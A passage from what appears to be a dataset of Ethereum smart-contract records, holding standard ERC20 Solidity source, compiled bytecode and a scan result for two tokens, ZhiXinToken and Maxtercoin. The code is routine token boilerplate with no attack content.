mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success){
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract ZhiXinToken is PausableToken {
string public constant name = "ZhiXin Token";
string public constant symbol = "ZXT";
uint public constant decimals = 18;
uint public constant INITIAL_SUPPLY = 50 * (10 ** 8) * 10 ** uint(decimals);
constructor(address admin) public {
totalSupply_ = INITIAL_SUPPLY;
balances[admin] = totalSupply_;
emit Transfer(address(0x0), admin, totalSupply_);
}
}
|
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd146102165780632ff2e9dc1461029b578063313ce567146102c65780633f4ba83a146102f15780635c975abb14610308578063661884631461033757806370a082311461039c5780638456cb59146103f35780638da5cb5b1461040a57806395d89b4114610461578063a9059cbb146104f1578063d73dd62314610556578063dd62ed3e146105bb578063f2fde38b14610632575b600080fd5b34801561010257600080fd5b5061010b610675565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ae565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b506102006106de565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e8565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b061071a565b6040518082815260200191505060405180910390f35b3480156102d257600080fd5b506102db610729565b6040518082815260200191505060405180910390f35b3480156102fd57600080fd5b5061030661072e565b005b34801561031457600080fd5b5061031d6107ee565b604051808215151515815260200191505060405180910390f35b34801561034357600080fd5b50610382600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610801565b604051808215151515815260200191505060405180910390f35b3480156103a857600080fd5b506103dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610831565b6040518082815260200191505060405180910390f35b3480156103ff57600080fd5b50610408610879565b005b34801561041657600080fd5b5061041f61093a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561046d57600080fd5b50610476610960565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b657808201518184015260208101905061049b565b50505050905090810190601f1680156104e35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104fd57600080fd5b5061053c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610999565b604051808215151515815260200191505060405180910390f35b34801561056257600080fd5b506105a1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109c9565b604051808215151515815260200191505060405180910390f35b3480156105c757600080fd5b5061061c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f9565b6040518082815260200191505060405180910390f35b34801561063e57600080fd5b50610673600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a80565b005b6040805190810160405280600c81526020017f5a686958696e20546f6b656e000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156106cc57600080fd5b6106d68383610ae8565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561070657600080fd5b610711848484610bda565b90509392505050565b6012600a0a64012a05f2000281565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078a57600080fd5b600360149054906101000a900460ff1615156107a557600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561081f57600080fd5b6108298383610f94565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108d557600080fd5b600360149054906101000a900460ff161515156108f157600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f5a5854000000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156109b757600080fd5b6109c18383611225565b905092915050565b6000600360149054906101000a900460ff161515156109e757600080fd5b6109f18383611444565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610adc57600080fd5b610ae581611640565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c1757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c6457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610cef57600080fd5b610d40826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173c90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dd3826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ea482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173c90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156110a5576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611139565b6110b8838261173c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561126257600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112af57600080fd5b611300826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173c90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611393826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006114d582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561167c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561174a57fe5b818303905092915050565b600080828401905083811015151561176957fe5b80915050929150505600a165627a7a72305820edab1e318b877a76668bcf9a06ad20e7866f6e2d55a543a83e344c056ec2c0170029
|
{"success": true, "error": null, "results": {}}
| 9,106 |
0xe6f78a81263281f6593f638bf38ac96834a96528
|
pragma solidity ^0.4.25;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract Maxtercoin is BurnableToken, Ownable {
string public constant name = "Maxtercoin";
string public constant symbol = "MTC";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 39000000 * (10 ** uint256(decimals));
// Constructors
constructor () public {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
emit Transfer(0x0,msg.sender,initialSupply);
}
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce56714610285578063378dc3dc146102b057806342966c68146102db578063661884631461030857806370a082311461036d5780638da5cb5b146103c457806395d89b411461041b578063a9059cbb146104ab578063d73dd62314610510578063dd62ed3e14610575578063f2fde38b146105ec575b600080fd5b3480156100ec57600080fd5b506100f561062f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610668565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea61075a565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610760565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610a4c565b6040518082815260200191505060405180910390f35b3480156102bc57600080fd5b506102c5610a51565b6040518082815260200191505060405180910390f35b3480156102e757600080fd5b5061030660048036038101908080359060200190929190505050610a5f565b005b34801561031457600080fd5b50610353600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c28565b604051808215151515815260200191505060405180910390f35b34801561037957600080fd5b506103ae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb9565b6040518082815260200191505060405180910390f35b3480156103d057600080fd5b506103d9610f02565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042757600080fd5b50610430610f28565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610470578082015181840152602081019050610455565b50505050905090810190601f16801561049d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104b757600080fd5b506104f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f61565b604051808215151515815260200191505060405180910390f35b34801561051c57600080fd5b5061055b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611137565b604051808215151515815260200191505060405180910390f35b34801561058157600080fd5b506105d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611333565b6040518082815260200191505060405180910390f35b3480156105f857600080fd5b5061062d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113ba565b005b6040805190810160405280600a81526020017f4d6178746572636f696e0000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561079f57600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061087083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151290919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090583600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095b838261151290919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a63025317c00281565b60008082111515610a6f57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610abd57600080fd5b339050610b1282600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151290919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b6a8260005461151290919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d39576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dcd565b610d4c838261151290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4d5443000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f9e57600080fd5b610ff082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061108582600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006111c882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffff